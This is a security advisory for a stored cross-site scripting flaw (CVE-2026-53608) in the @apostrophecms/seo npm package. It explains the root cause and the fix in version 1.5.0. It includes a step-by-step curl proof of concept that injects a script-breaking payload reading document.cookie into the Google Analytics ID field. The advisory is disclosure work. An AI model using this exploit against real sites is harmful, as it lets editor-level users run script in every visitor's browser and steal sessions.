high · 8.7CVE-2026-53608Jul 31, 2026

CVE-2026-53608: @apostrophecms/seo Stored XSS via Unsanitized Google Analytics ID

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any editor-level user in ApostropheCMS can inject arbitrary JavaScript into every page on the site by setting the Google Analytics or Tag Manager ID field to a malicious value, because the package…

Package@apostrophecms/seo
Ecosystemnpm
Affected<= 1.4.2
Fixed in1.5.0
CVE-2026-53608: @apostrophecms/seo Stored XSS via Unsanitized Google Analytics ID

The problem

The @apostrophecms/seo package (versions up to and including 1.4.2) interpolates the seoGoogleTrackingId and seoGoogleTagManager fields directly into <script> tag bodies using JavaScript template literals. No sanitization, escaping, or format validation is applied before the value lands in the rendered HTML.

Editor is the default content-manager role in ApostropheCMS, and editors can publish changes to the global singleton. This means the attack requires no admin access. The injected script fires on every page load for every visitor, including other editors and site admins.

Proof of concept

A working proof-of-concept for CVE-2026-53608 in @apostrophecms/seo, with the exact payload below.

bash
# Step 1: authenticate as editor
curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"editor","password":"password"}'
# => {"token":"TOKEN"}

# Step 2: get the global document draft ID
curl -s -H 'Authorization: Bearer TOKEN' \
  http://TARGET/api/v1/@apostrophecms/global
# => note _id ending in :en:draft

# Step 3: inject payload into the Analytics ID field
curl -s -X PATCH http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer TOKEN' \
  -d '{"seoGoogleTrackingId":"G-FAKE\'); alert(document.cookie); //"}'

# Step 4: publish
curl -s -X POST http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish \
  -H 'Authorization: Bearer TOKEN'

# Result rendered in <head> on every page:
# <script>
#   gtag('config', 'G-FAKE'); alert(document.cookie); //');
# </script>

The root cause is in lib/nodes.js. The tracking ID is placed inside a template literal that builds the raw <script> body, and ApostropheCMS core's renderNodes() returns any node with a raw property verbatim with no further escaping. An attacker closes the surrounding single-quoted string with ');, appends arbitrary JavaScript, then comments out the trailing quote with //.

The fix in 1.5.0 wraps the value in JSON.stringify() before interpolation (so it is always a properly escaped JS string) and adds a format-validation regex that rejects any value not matching ^(G-|UA-|GTM-)[A-Z0-9-]+$. Both controls together mean a payload containing quotes or semicolons is either rejected on write or rendered as a safe JSON string literal, not raw JS code.

CWE-79.

The fix

Upgrade @apostrophecms/seo to version 1.5.0. The patch validates the tracking ID against the expected GA/GTM format on save and wraps the value in JSON.stringify() before inserting it into the script body, so special characters can no longer break out of the string context.

Reported by H3xV0rT3x.

References: [1][2][3][4][5]

Related research